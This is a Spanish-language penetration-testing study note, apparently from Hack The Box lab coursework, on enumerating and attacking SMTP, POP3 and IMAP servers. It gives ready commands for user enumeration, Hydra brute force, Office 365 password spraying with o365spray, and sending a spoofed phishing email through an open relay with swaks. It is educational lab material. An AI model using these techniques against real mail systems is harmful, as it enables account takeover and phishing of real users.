Servicios de Correo - Enumeración y Ataques (SMTP/IMAP/POP3)

🔹 ¿Qué es un servidor de correo?

Un mail server maneja el envío y recepción de correos:

👉 Flujo básico:
Cliente ✉️ → SMTP → Servidor → SMTP → Otro Servidor → IMAP/POP3 → Cliente.


🔎 Enumeración inicial

Primero identificamos qué tipo de servicio usa la empresa (cloud o self-hosted).
Podemos mirar los MX records del dominio:

host -t MX hackthebox.eu 
dig mx inlanefreight.com | grep "MX"

Ejemplo:

plaintext.do.           7076    IN      MX      50 mx3.zoho.com.
plaintext.do.           7076    IN      MX      10 mx.zoho.com.
plaintext.do.           7076    IN      MX      20 mx2.zoho.com.

📌 Si es cloud (O365, G-Suite, Zoho) → ataques especiales 🔒.
📌 Si es custom mail server → posibles misconfigs y servicios inseguros.


📡 Puertos típicos de correo

📍 Escaneo con Nmap:

nmap -sV -sC -Pn -p25,110,143,465,587,993,995 <IP>

{05618C6B-D127-46FA-AB26-828F0C742CF5}.png


🔌 Cómo conectarse a los servicios de correo

SMTP (envío de correo)

telnet <IP> 25       # SMTP no seguro
openssl s_client -starttls smtp -connect <IP>:587  # SMTP STARTTLS

Comandos básicos:

EHLO localhost
MAIL FROM:<test@dominio.com>
RCPT TO:<usuario@dominio.com>
DATA
Subject: Prueba
Hola, esto es un test.
.
QUIT

POP3 (descarga de correo)

telnet <IP> 110       # POP3 no seguro
openssl s_client -connect <IP>:995 -crlf  # POP3S seguro

Ejemplo de comandos:

USER usuario
PASS password
LIST       # Lista correos
RETR 1     # Leer correo 1
QUIT

IMAP4 (acceso a buzón en servidor)

telnet <IP> 143        # IMAP no seguro
openssl s_client -connect <IP>:993 -crlf  # IMAPS seguro

Ejemplo de comandos:

a LOGIN usuario password
a LIST "" "*"
a SELECT INBOX
a FETCH 1 BODY[]
a LOGOUT

⚠️ Misconfiguraciones comunes

🔍 Enumeración de usuarios vía SMTP

Algunos servidores permiten usar comandos SMTP para validar usuarios:

Ejemplo con Telnet:

telnet <IP> 25
VRFY john
EXPN support-team
MAIL FROM:test@htb.com
RCPT TO:pedro

👉 Si el servidor responde con OK, el usuario existe ✅.

🔑 Enumeración con POP3

telnet <IP> 110 USER john

🤖 Automatizar con smtp-user-enum

smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.203.12

Pasted image 20250916175835.png


☁️ Enumeración en la nube (O365, G-Suite, Zoho)

Con O365spray podemos validar dominios y usuarios:

python3 o365spray.py --validate --domain msplaintext.xyz
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz

👉 Resultado: lista de usuarios válidos en Office 365 📋.


💥 Password Attacks

Una vez tenemos usuarios válidos → probamos credenciales.

Hydra en POP3

hydra -l user.list -P pws.list pop3://10.129.203.12 -t 10

Ejemplo:
{E30FF569-CCA8-4007-B995-455997557E10}.png

Password spraying en O365

python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --domain msplaintext.xyz

📌 Ventaja del spraying → menos riesgo de bloquear cuentas 🚫🔒.


🎭 Ataques específicos de protocolos

✉️ Open Relay (SMTP abierto)

Un open relay permite enviar correos sin autenticación → se abusa para phishing o spam.

Detectar con Nmap:

nmap -p25 --script smtp-open-relay <IP>

Enviar un correo falso con swaks:

swaks --from fake@empresa.com --to victima@empresa.com \
--server <IP> --header "Subject: Urgente" \
--body "Haz clic en http://phishing.com"

👉 El correo parecerá legítimo, pero viene de nuestro servidor 😈.